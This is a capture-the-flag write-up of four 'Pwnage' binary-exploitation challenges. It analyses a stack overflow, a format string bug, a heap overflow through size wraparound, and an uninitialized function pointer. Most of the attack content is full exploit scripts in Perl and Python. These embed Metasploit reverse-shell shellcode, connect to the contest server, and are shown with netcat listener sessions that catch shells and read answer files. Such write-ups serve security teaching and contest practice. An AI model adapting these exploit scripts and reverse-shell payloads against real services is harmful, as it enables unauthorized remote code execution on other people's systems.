Given the Jeopardy-inspired scoreboard, this was by far the best named
category. The range of challenges here was really well thought-out, and
the difficulties scaled nicely. Each stage used a progressively more complex
vulnerability type along with a more complex access vector. The network and
daemonizing code used in stages 200, 400, and 500 remained basically the same,
so with each new stage, the code analysis got both faster and more focused,
since it was progressively easier to pick out the interesting bits, but those
bits got more and more difficult to analyze.
Much like
Binary Leetness 300, "objdump -R"
on this stage
shows calls for daemonizing a network service. Lots of clues are available
since the executable is not stripped. Both "nm" and "strings" show all kinds
of stuff. We see that it wants to become a user named "server200", for example.
To run the server locally, we needed to create the user before the server would start.
Either by running it, or examining the arguments to the "init" call, we see the
server listens on port 8835:
$ objdump -d ./Pwnage200Server | grep -B1 'call.*<init>'
8048bc6: 68 83 22 00 00 push $0x2283
8048bcb: e8 eb 00 00 00 call 8048cbb <init>
The output from "nm" shows us the global variable "g_iHoldYourShellcode"
at 0x804a120. Not immediately trusting this hint, we move on and examine
"handleRequest", which in turn calls "readAll". Our goal is to find where
input is read in, assuming that we're dealing with some kind of overflow
condition. We note that "g_iHoldYourShellcode", as well as the value 0x3ff
is passed to "readAll".
Looking at "readAll", we see that it reads until "read" returns 0, or we hit
0x3ff bytes. No overflow here, since the buffer is 0x3ff bytes large. Looking
back at "handleRequest", we notice the the arguments to "strncpy" take a
local stack destination, and the "strlen" output instead of the size of the
stack-allocated buffer. Looking to the stack destination, we see it's only
0x208 wide. This makes the strncpy overflowable!
Before the "strncpy" happens, though, the code checks to see if there is a "K"
in the buffer (see the "call strchr" at 8048afc), so we'll have to keep that
in mind.
So, our summary so far is:
- We can write 0x3ff bytes of our choice into "g_iHoldYourShellcode" at 0x804a120.
- Everything above the 0x208 mark will be written beyond the stack frame of "handleRequest".
- We need a shellcode under 0x208 bytes, with the rest filled with the location of the shellcode, which we know starts at 0x804a120.
- The buffer must contain at least one "K" character.
Heading over to
Metasploit
we select an i32 BSD reverse shell shellcode. This will get us past any
inbound firewalls on the target machine. All we need is a listening netcat
ready to take the connection. We cook up a quick script:
#!/usr/bin/perl
# connects back to localhost 4200 (change the shellcode for YOUR IP!)
# bsd_ia32_reverse - LHOST=localhost LPORT=4200 Size=92 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb2".
"\x27\xe2\x12\x83\xeb\xfc\xe2\xf4\xd8\x46\xba\x8b\xe0\x65\xb0\x50".
"\xe0\x4f\x9d\x12\xb2\x26\x2f\x92\xda\x37\xe0\x02\xda\xae\x03\x78".
"\xa2\x76\xb2\x43\x25\x4d\x80\x4a\x7f\xa7\x88\x10\xeb\x97\xb8\x43".
"\xe5\x76\x2f\x92\xfb\x5e\x14\x42\xda\x08\xcd\x61\xda\x4f\xcd\x70".
"\xdb\x49\x6b\xf1\xe2\x73\xb1\x41\x02\x1c\x2f\x92";
$shellcode = "K" + $shellcode; # insert the required "K" character
$len = length($shellcode);
$addr=pack("V",0x0804a121); # target address, just after the "K"
$need=int((0x3ff-$len)/4)-1; # pad the rest of the buffer with addresses
$shellcode.=$addr x $need;
print $shell;
Starting our netcat, we launch our exploit, and get our key:
$ nc -v -l -p 4200
listening on [any] 4200 ...
^Z
[1]+ Stopped nc -v -l -p 4200
$ perl pwn200.pl | nc kenshoto.allyourboxarebelongto.us 8835 &
[2] 27090
$ fg %1
connect to [10.0.0.1] from kenshoto.allyourboxarebelongto.us [74.229.71.52] 34007
id
uid=1200(server200) gid=1200(server200)
cat /home/server200/answer
Chief Maple
(Thanks to byax for pointing out we missed the "K" check in our write-up.)
Instead of being given server code to analyze, this time we have been given
a Python client which hands a format string to the server, and reads back
the result. This stands out as a format string overflow, and we're left
to discover:
- Where is our string in server memory? (We need to jump to our shellcode.)
- Where is the stackframe for the current function? (We need to overwrite the return address.)
To find our location, we change the formatString variable to:
AAAA.%1$x
and proceed up to argument offset 7, where we discover the start of our format string, shown as "41414141":
In: AAAA.%7$x
Out: AAAA.41414141
Looking through high argument offsets, we start to see addresses back in the 0x0804.... range, and we figure we've found the edge of the stack frame holding
our return address. We note this for the future. In addition to the
possible return address, we also see addresses in the 0x3fbf.... range, which
looks like stack locations.
We change our format string to start with a guess at our stack address,
followed by 4 B's and a giant string of A's, and then attempt to locate
them by using "%s":
In: \xd8\xf7\xbf\x3fBBBBAAAA....AAAA|%7$s|
If the server doesn't return anything we hit such a bad stack guess that it
wasn't even addressable memory. If the server returns garbage between the
"|"s, we need to adjust the address up or down a few hundred bytes. The
goal would be to totally nail the address, and see something like:
Out: \xd8\xf7\xbf\x3fBBBBAAAA....AAAA|BBBBAAAA....AAAA|
In that case, you'd know your guess was 4 bytes past the exact beginning of
your string. So, backing off, address 0x3fbff7d4 is precisely the start
of the buffer. We've got the first required element, but move up a few bytes
to place ourselves squarely into our future NOP sled, past the business-portion
of the format string: 0x3fbff808.
Now we return to the earlier discovery of the likely return address and
calculate where it is from our known stack buffer start location. Based on
the size of the format string we used, the location of the return address
ends up being at 0x3fbffbec, which we can quickly verify:
In: \xec\xfb\xbf\x3fBBBBAAAA....AAAA|%7$x|
Out: \xec\xfb\xbf\x3fBBBBAAAA....AAAA|8040...|
Now all we need to do is generate the format string containing the "%u"s and
"%n"s needed to overwrite the
target address with our buffer location, and replace the "A"s with our
shellcode:
#!/usr/bin/env python
from socket import *
import struct
s = socket()
s.connect(('kenshoto.allyourboxarebelongto.us', 3452))
shellCode = ''
# NOP sled
shellCode += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellCode += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellCode += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
# connects back to localhost 4300 (change the shellcode for YOUR IP!)
# bsd_ia32_reverse - LHOST=localhost LPORT=4300 Size=92 Encoder=PexFnstenvSub http://metasploit.com
shellCode += "\x31\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x11"
shellCode += "\xaf\x44\xc8\x83\xeb\xfc\xe2\xf4\x7b\xce\x1c\x51\x43\xed\x16\x8a"
shellCode += "\x43\xc7\x3b\xc8\x11\xae\x89\x48\x79\xbf\x46\xd8\xdd\x26\xa5\xa2"
shellCode += "\x01\xfe\x14\x99\x86\xc5\x26\x90\xdc\x2f\x2e\xca\x48\x1f\x1e\x99"
shellCode += "\x46\xfe\x89\x48\x58\xd6\xb2\x98\x79\x80\x6b\xbb\x79\xc7\x6b\xaa"
shellCode += "\x78\xc1\xcd\x2b\x41\xfb\x17\x9b\xa1\x94\x89\x48"
returnTarget = 0x3fbffbec # stack location of return address
attack = ''
# format argument #7
attack += struct.pack('<L', returnTarget) # pointer to LOW word to overwrite
# format argument #8
attack += 'AAAA'
# format argument #9
attack += struct.pack('<L', returnTarget + 2) # pointer to HIGH word to overwrite
# stack location of shellcode is 0x3fbff808 used below...
attack += r'%08x%08x%08x%08x%08x%08x' # pop 6
attack += r'%.63436u' # need low bytes (f808) (0xf808-4-4-4-6*8)
attack += r'%7$hn'
attack += r'%.18359u' # need high bytes (3fbf) (0x13fbf-0xf808)
attack += r'%9$hn'
attack += r'|%8$08x|'
attack += shellCode
formatString = attack
print '%s' % formatString
s.send(struct.pack('<L', len(formatString)))
s.sendall(formatString)
sz = struct.unpack('<L', s.recv(4))[0]
buf = ''
while len(buf) < sz:
buf += s.recv(sz-len(buf))
print 'buf:', repr(buf)
NOTE: since the kenshoto box is currently down, we can't fully clean
up or test this example.
Since it's been adjusted a bit for this walk-through, it's possible it won't
work correctly. Please send any corrections to Doc Brown.
Using this client, we take the same approach we did with 200: start a
listener on port 4300, and go to town:
$ nc -v -l -p 4300
listening on [any] 4300 ...
^Z
[1]+ Stopped nc -v -l -p 4300
$ python client300.py &
[2] 27173
$ fg %1
connect to [10.0.0.1] from kenshoto.allyourboxarebelongto.us [74.229.71.52] 34013
id
uid=1300(server300) gid=1300(server300)
cat /home/server300/answer
Henotic Octameter
Back to a familiar situation: another FreeBSD stripped executable. This time,
however, the "objdump -R" shows a few extra things:
0804a904 R_386_JUMP_SLOT __builtin_delete
0804a90c R_386_JUMP_SLOT __builtin_new
This means we're dealing with a C++ program, which means we'll be allocating
objects into the heap. Right off the bat, we suspect this is going to
involve some kind of heap overflow.
Looking at the disassembly, we quickly identify all the "regular" elements
of this server, including "main", the "daemonize" code (0x8049028) that
switches uids and calls "daemon", the "setup_socket" code (0x8049278), the
"accept_loop" code (0x80493ac) that handles the "accept", "fork", and the
connection handler.
Before the call to the "setup_socket", at 0x804909e we find the port
the server is listening on: 8325. Before the call to "accept_loop", at
0x80490b3 we find the address that it pulls from the stack, used for the
"connection_handler" (0x8048d08) after the "fork" call.
In the "connection_handler", we look at the arguments of the "read" calls,
and we see that the server first reads and saves 4 bytes and then 2 bytes.
Continuing, it calloc's a buffer using the size stored during the 2 byte read.
Studying this section carefully, we note two important things:
- The storage size of the calloc argument is a word. (movzwl)
- Before passing the argument to calloc, it is increased by 8.
This means we have the ability to create a very small calloc buffer by
passing a size of 0xFFF8 or larger, since the word will wrap back around to
0x0000 after it passes 0xFFFF. We continue reading, and discover
that the calloc'd buffer is, in fact, used to receive the contents of
the final "read" call (but without being increased by 8 first). This will
let us write past the end of the calloc'd buffer into anything else that
was allocated onto the heap after the calloc call.
Before we hit the third "read" call, there are some other things going on.
First the 4-byte value from the first "read" is tested for either 0x3 or 0x4.
Then an object is instantiated with a call to "new" (which gives us a possible
target in the heap), the heap-busting "read" happens, the object is called,
a "write" is called, and finally some clean up and termination.
Now the goal is to wreck the heap during the "read" in such a way that we
replace the object's function location, called at 0x8048f12, with a location
within the shellcode we deliver. To summarize:
- Send 4 bytes, with value "0x3" to pass the later validation.
- Send 2 bytes, equal to 0xFFF9 to cause the calloc to wrap to "1"
byte of buffer size.
- Send up to 0xFFF9 bytes, which include a stream of target addresses,
followed by our NOP sled and shellcode.
While examining how the C++ object gets called, we discover that we can't
overwrite the entire object with just our destination address, we actually
need to overwrite the beginning of the object with the location within
the "object" to find the address to jump to. This means, we need to
deliver:
- ADDRESS-OF-ADDRESS-TO-JUMP-TO repeated in the object header area ("call target").
- ADDRESS-TO-JUMP-TO located where we can find it ("target").
- NOP sled.
- Shellcode.
Since we don't know where the heap is, we make our NOP sled large (0x4000 bytes)
and figure we just have to try a bunch of heap locations, 0x1000 apart,
until we jump into our NOPs. After examining the object calling mechanisms,
we calculate that we need 13 copies of the "call target", followed by lots
of copies of the "target" address (0x2000 bytes worth) to maximize our chance of
guessing the correct destination somewhere in the NOP sled. Using our
regular reverse shell shellcode connecting back to port 4400, we build the
following client:
#!/usr/bin/env python
from socket import *
import struct
import sys
shellCode = ''
for i in range(0x4000/4):
shellCode += "\x90\x90\x90\x90"
# connects back to localhost 4400 (change the shellcode for YOUR IP!)
# bsd_ia32_reverse - LHOST=127.0.0.1 LPORT=4400 Size=92 Encoder=PexFnstenvSub http://metasploit.com
shellCode += "\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x73"
shellCode += "\x8a\x4a\xb7\x83\xeb\xfc\xe2\xf4\x19\xeb\x12\x2e\x21\xc8\x18\xf5"
shellCode += "\x21\xe2\x35\xb7\x73\x8b\x87\x37\x1b\x9a\x48\xa6\x43\x03\xab\xdd"
shellCode += "\x63\xdb\x1a\xe6\xe4\xe0\x28\xef\xbe\x0a\x20\xb5\x2a\x3a\x10\xe6"
shellCode += "\x24\xdb\x87\x37\x3a\xf3\xbc\xe7\x1b\xa5\x65\xc4\x1b\xe2\x65\xd5"
shellCode += "\x1a\xe4\xc3\x54\x23\xde\x19\xe4\xc3\xb1\x87\x37"
# guess at heap start location
address = 0x8050000
for i in range(0x1000):
print '0x%x ...' % address
s = socket()
s.connect(('kenshoto.allyourboxarebelongto.us', 8325))
# guess at location of "target" address to read
call_target = struct.pack('<L', address)
# target past the string of target address, somewhere in the NOP sled
target = struct.pack('<L', address+0x4000)
exploit = ''
# stretch 13*4 bytes over into the object header area
for i in range(13):
exploit += call_target
# create a wide area to read target location from
for i in range(0x2000/4):
exploit += target
# add NOPs and shellcode
exploit += shellCode
# This is the "command" number that gets verified
s.send(struct.pack('<L', 3))
# This is a len of string to send, har har
s.send(struct.pack('<H', 0xFFF9))
s.sendall(exploit)
buf = ''
buf += s.recv(5000)
print 'buf:', repr(buf)
address += 0x1000
NOTE: since the kenshoto box is currently down, we can't fully clean
up or test this example.
Since it's been adjusted quite a bit for this walk-through, it's possible
it won't work correctly. Please send any corrections to Doc Brown.
Using this client, we take the same approach we did with the others: start a
listener on port 4400, and wait for the love:
$ nc -v -l -p 4400
listening on [any] 4400 ...
^Z
[1]+ Stopped nc -v -l -p 4400
$ python client400.py &
[2] 28009
0x8050000 ...
0x8051000 ...
$ fg %1
0x8052000 ...
0x8053000 ...
0x8054000 ...
0x8055000 ...
0x8056000 ...
connect to [10.0.0.1] from kenshoto.allyourboxarebelongto.us [74.229.71.52] 34109
id
uid=1400(server400) gid=1400(server400)
cat /home/server400/answer
Ninjas Beat Pirates
Another FreeBSD stripped executable, built in the same fashion as the rest
with the "daemonize", "setup_socket", etc, functions. The port is pushed
onto the stack just before the call to the "setup_socket", and we find the
connection handler (0x8048fd3) pushed onto the stack before calling the
"accept_loop" code.
The connection handler is much less linear than in any of the prior servers.
It makes several calls out to other functions, which in turn make more calls.
This analysis took some time. The first part was pretty straight forward,
a 9 byte "read" into the stack, with the second 32bit value used as "size" for
the "calloc" call following it. The buffer and the size overlap, as if a
C union was used:
union {
uint8 buffer[9];
struct {
uint32 zeros;
uint32 size;
uint8 ignored;
} parts;
} nine_bytes;
read(fd,nine_bytes.buffer,9);
var_c = calloc(nine_bytes.parts.size,1);
Continuing to carefully study the stack variables and
how they're used, the loop conditions, and the tests performed, we produced
our first-pass of the remaining pseudo-code, without regard to what the
functions in the "switch" section did yet:
read_all(fd,var_c,nine_bytes.parts.size);
while ( var_10 <= nine_bytes.parts.size ) {
var_2c = var_10 + var_c;
var_34 = *var_2c;
switch(var_34) {
case 1:
command1(var_2c);
break;
case 2:
command2(var_2c);
break;
case 5:
command5(var_2c);
break;
}
var_10 += *(var_2c + 4) + 9;
}
From this, we can see that "var_c" is a string buffer, "var_10" is an index
into the buffer, which we loop through until the end of the buffer, "var_2c"
is a string pointer to the indexed position in the buffer, and var_34 is a
uint32 value, pulled out of the string at the position pointed to by "var_2c".
The value is tested with a switch statement, and the string pointer is passed
to the appropriate fuction. After the function, the index is pushed forward
by the uint32 value 4 bytes past the string pointer location, plus 9 bytes.
At this point, we know we're dealing with a stream reader, and that the
stream contains at least the following in 9-byte chunks to be processed:
uint32 command
uint32 size
uint8 unknown
The loop jumps from chunk to chunk, based on the "size" information in bytes
5 through 8. It calls a function based on the "command" information in bytes
1 through 4. The 9th byte isn't used by this loop, but is specifically
compensated for when calculating the next index (current position, plus size,
plus nine bytes -- the size of the chunk itself). We assume the "size" here
actually refers to a payload that follows the "unknown" byte.
We ponder being able to crash the reader by putting a large "size" value into
the stream, but decide all we'd do is just seg-fault the loop when it tried
to read beyond allocated heap while trying to load the next command. Not an
immediately useful exploit, but we make note of it, and start reading through
the disassembly for "command1" (0x8048e31), "command2" (0x8048c25), and
"command5" (0x8048d6d).
The first thing we note is that all three commands call another function
(0x8048B98) and check its result before continuing to do their processing.
Examining this function, we see it takes as arguments the current stream
location and a "scan length" which consists of the chunk's "size" plus 9.
Then it loads the mysterious 9th byte from the stream chunk, clears the byte
in the stream itself, loops through the stream, examining "scan_length" many
bytes. (This confirms a payload following what was known as the "chunk", which
we'll now call the "header".) Looking at the processing, we see it is XORing
the contents of the header and payload (which we'll call a "packet"),
creating a simple checksum of the packet:
struct header_t {
uint32 command;
uint32 size;
uint8 checksum;
};
uint8 verify_checksum(uint8 * stream, uint32 scan_length)
{
struct header_t *header;
header = (struct header_t *)stream;
// save and clear the in-stream packet checksum
uint8 expected_checksum = header->checksum;
header->checksum = 0;
// seed our checksum: K is for Kenshoto! ;)
uint8 calculated_checksum = 'K';
// scan the packet to calculate the XOR checksum
for (uint32 i = 0; i < scan_length; i++) {
calculated_checksum ^= stream[i];
}
// restore the in-stream packet checksum
header->checksum = expected_checksum;
// return calculated checksum
return calculated_checksum;
}
Checking each call of "verify_checksum", all we see is correct math on
the size, so once again, a too-large "size" would just cause the program to
walk off the end of the heap reading values. (And the one write it
makes to memory is restored before returning.) It doesn't look like a
useful exploit, but we keep it in mind.
Going back to "command1", we see that it begins processing the packet
contents as if it were a new stream, doing all the same math on offsets, etc.
We find that if the payload for "command1" contains a new packet with its
"command" set to 3 or 4, an additional function is called within "command1".
These are named "command3" (0x8048ca7) and "command4" (0x8048d0a).
When "command3" or "command4" are called, the payload and a pointer to
a function pointer is passed to the sub-commands. On return, as long as
the function pointer isn't NULL, is called by "command1". From this,
it looks like "command3" and "command4" modify this pointer to aim at
specific functions in memory. This seems like a pretty direct way to
call a chunk of shellcode, so we move on to investigate the sub-commands.
Both "command3" and "command4" call the "verify_checksum" function, before
scanning the packet payload for a specific character. From the arguments
passed to "memchr", we see that "command3" looks for
a "K", and "command4" looks for a "V". If it does NOT see their respective
characters, it sets the passed-in function pointer pointer. The function
addresses used, however, were static -- not chosen or calculated -- which
seems to seriously reduce our chances of changing it to call into our
shellcode.
All the math in "command1", "command3", and "command4" looked good to us,
and the two function pointers (0x8048beb and 0x8048c08) they can return just taunt us
with their innocuous "printf" calls. We wonder if we need to somehow change the
pointers used and perform a format string attack, but even those pointers are part
of the read-only data segment, so it doesn't seem like we can change the values in
any way. We note this weird set of functions, and move on.
Reading through "command2", we find an exciting call to "memcpy", which
we find writing directly onto the stack. Unfortunately, %esp has been
pushed beyond the size of the packet being copied. All the math is
solid, and there's no chance of writing outside of the stack area allocated.
And to make matters worse, the function does absolutely nothing else. It
just copies the packet payload into the stack, and returns. We figured this
was how we were going to get our shellcode into memory, and that we needed
to find the vulnerability now, which would point back into this stack area.
Moving on to "command5", we find that it just printfs the packet contents.
Totally and frustratingly useless. All the math is good, and nothing looks
to be vulnerable.
Stumped, we paused briefly to ponder what we had, which functions performed
what kinds of actions, and where the flow of execution goes. We decide that
"command5" is totally useless, and write it off. We figure that "command2"
is used to populate the stack with our shellcode, and that it serves no
other purpose. We focus back on "command1", ignoring "command3" and
"command4" temporarily.
As we carefully studied each stack variable used by "command1", we eventually
started trying to track down initial values, so we could double-check
our understanding of the loop execution flow. The function pointer pointer
modified
by "command3" and "command4" (which we named "callable") didn't seem to
actually have an initial value. It was tested to be not NULL before
calling it, but that's as close to manipulating it that "command1" ever got.
It was clear that "callable" was just simply not being initialized before
making it's way into either "command3" or "command4".
Re-checking "command3" and "command4", we found that as long as the
character they were looking for was found in the payload, it would leave
our function pointer unmolested, and return straight back into "command1"
where as long as it wasn't NULL, would get called.
Now we had a plan:
- Get shellcode and a pointer-to-the-shellcode onto the stack
with "command2".
- Get "command1" running with a payload-contained "command3" with the
expected character in the string somewhere.
- Watch as "command1" makes a call to "callable", initialized by
our left-over stack fiddling from the earlier "command2" call.
As a reminder, we had a solid understanding that our stream parser
handled data in the following format:
uint32 command;
uint32 size;
uint8 checksum;
uint8 payload[size];
Command "0" is what starts the whole thing going (though it's checksum is
ignored). Within the payload for "0", we need command "2" with our shellcode
and destination address payload, followed by command "1" with a payload
containing command "3" with a payload that contained a "K".
Our attack looked like this:
- 0x0 u32, size u32, 0x0 u8, payload:
- 0x2 u32, size u32, chksum u8, payload: nops, shellcode, target addrs
- 0x1 u32, size u32, chksum u8, payload:
- 0x3 u32, size u32, chksum u8, payload: "Kenshoto are some mean bitches"
Again using our
regular reverse shell shellcode connecting back to port 4500, we build the
following client, stepping across large ranges of possible stack addresses,
and building our payload in reverse so we could calculate checksums as
we built it up:
#!/usr/bin/env python
from socket import *
import struct
import sys
# Pick a starting point in the stack
xaddr = 0xbfbf0000
for i in range(1000):
print '0x%x ...' % xaddr
addr = struct.pack('<L', xaddr)
xaddr += 0x100
s = socket()
s.connect(('kenshoto.allyourboxarebelongto.us', 8338))
shellCode = ''
# drop a sled large enough to catch our incrementing stack guess
for i in range(0x100):
shellCode += "\x90\x90\x90\x90"
# connects back to localhost 4500 (change the shellcode for YOUR IP!)
# bsd_ia32_reverse - LHOST=localhost LPORT=4500 Size=92 Encoder=PexFnstenvSub http://metasploit.com
shellCode += "\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd9"
shellCode += "\x8a\xf5\x95\x83\xeb\xfc\xe2\xf4\xb3\xeb\xad\x0c\x8b\xc8\xa7\xd7"
shellCode += "\x8b\xe2\x8a\x95\xd9\x8b\x38\x15\xb1\x9a\xf7\x84\x4d\x03\x14\xff"
shellCode += "\xc9\xdb\xa5\xc4\x4e\xe0\x97\xcd\x14\x0a\x9f\x97\x80\x3a\xaf\xc4"
shellCode += "\x8e\xdb\x38\x15\x90\xf3\x03\xc5\xb1\xa5\xda\xe6\xb1\xe2\xda\xf7"
shellCode += "\xb0\xe4\x7c\x76\x89\xde\xa6\xc6\x69\xb1\x38\x15"
# drop in a span of target addresses large enough to push
# our shellcode above the big stack allocated by command1, leaving
# "callable" to be initialized with one of these addresses.
for i in range(0x400):
shellCode += addr
# Stack filler (command2)
packet = ''
packet += struct.pack('<L', 2)
packet += struct.pack('<L', len(shellCode))
packet += '\x00'
packet += shellCode
# chksum
chksum = 0x4b
for i in range(len(packet)):
chksum ^= ord(packet[i])
packet = packet[0:8] + struct.pack('<B',chksum) + packet[9:]
# Subcommand (command3)
bitches = "Kenshoto are some mean bithces"
doit = ''
doit += struct.pack('<L', 3)
doit += struct.pack('<L', len(bitches))
doit += '\x00'
doit += bitches
# chksum
chksum = 0x4b
for i in range(len(doit)):
chksum ^= ord(doit[i])
doit = doit[0:8] + struct.pack('<B',chksum) + doit[9:]
# Container (command1)
contain = ''
contain += struct.pack('<L', 1)
contain += struct.pack('<L', len(doit))
contain += '\x00'
contain += doit
# chksum
chksum = 0x4b
for i in range(len(contain)):
chksum ^= ord(contain[i])
contain = contain[0:8] + struct.pack('<B',chksum) + contain[9:]
# Overall Payload Header (command0)
stream = ''
stream += struct.pack('<L', 0)
stream += struct.pack('<L', len(packet) + len(contain))
stream += '\x00'
magicString = stream + packet + contain
s.sendall(magicString)
buf = ''
buf += s.recv(5000)
NOTE: since the kenshoto box is currently down, we can't test this
example; it was cleaned up for the walk-through, and it's possible
it won't work correctly. Please send any corrections to Doc Brown.
Running our client, we cracked a beer and waited for the magic:
$ nc -v -l -p 4500
listening on [any] 4500 ...
^Z
[1]+ Stopped nc -v -l -p 4500
$ python client400.py &
[2] 28124
0xbfbf0000 ...
0xbfbf0100 ...
$ fg %1
0xbfbf0200 ...
0xbfbf0300 ...
0xbfbf0400 ...
0xbfbf0500 ...
0xbfbf0600 ...
connect to [10.0.0.1] from kenshoto.allyourboxarebelongto.us [74.229.71.52] 34291
id
uid=1500(server500) gid=1500(server500)
cat /home/server500/answer
Executive Docibility